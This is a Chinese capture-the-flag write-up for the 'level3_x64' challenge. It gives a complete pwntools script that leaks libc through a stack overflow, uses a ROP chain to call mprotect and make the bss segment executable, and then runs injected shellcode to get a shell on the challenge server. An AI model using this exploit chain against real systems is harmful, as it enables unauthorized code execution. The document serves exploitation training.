题目描述:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。附件和level3_x64的附件一样。
首先去看看这个mmap函数和mprotect函数是干啥的。
void* mmap(void* addr, size_t len, int port, int flag, int filedes, off_t off)
int mprotect(void* addr, size_t len, int port)
简单来说mmap函数创建一块内存区域,将一个文件映射到该区域,进程可以像操作内存一样操作文件。mprotect函数可以改变一块内存区域的权限(以页为单位)。至于mmap函数没有想到怎么去利用,而mprotect函数是可以改变一个段的权限的,可以利用这一特点将bss段改为可执行,将shellcode写到bss段,再想办法执行即可。
首先,要使用mprotect函数,依然需要知道它在内存中的地址,通过level3的方法可以得到。
需要调用这个mprotect函数,我们发现它有三个参数,第一个是要设置的地址(edi),第二个是设置的长度(esi),第三个是权限值(edx),但是我们在level3中发现简单的gadgets并没有pop edx,这时候,我们可以利用x64下的__libc_scu_init中的gadgets。这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别)。
from pwn import *
context.log_level='DEBUG'
r=remote('node3.buuoj.cn',25687)
#r = process('./level3_x64')
file=ELF('./level3_x64')
#libc=ELF('./libc-2.19.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
prdi=0x4006b3
prsi=0x4006b1
bss_start=0x600a88
start_addr=0x4004f0
payload1='a'*0x80+'b'*8+p64(prdi)+p64(1)+p64(prsi)+p64(file.got['write'])+'c'*8+p64(file.plt['write'])
payload1+=p64(start_addr)
r.recvuntil('\n')
r.send(payload1)
write_got=u64(r.recv(8))
sleep(1)
libc_base=write_got-libc.sym['write']
mprotect=libc_base+libc.sym['mprotect']
prdx=libc_base+0x1b92
payload2='a'*0x80+'b'*8+p64(prdi)+p64(0x600000)+p64(prsi)+p64(0x1000)+'c'*8+p64(prdx)+p64(7)+p64(mprotect)+p64(start_addr)
r.recvuntil('\n')
r.send(payload2)
sleep(1)
payload3='a'*0x80+'b'*8+p64(prdi)+p64(0)+p64(prsi)+p64(bss_start)+'c'*8+p64(prdx)+p64(48)+p64(file.plt['read'])+p64(start_addr)
r.recvuntil('\n')
r.send(payload3)
sleep(1)
r.send(asm(shellcraft.amd64.linux.sh(),arch='amd64'))
payload4='a'*0x80+'b'*8+p64(bss_start)
r.recvuntil('\n')
r.send(payload4)
r.interactive()
具体看这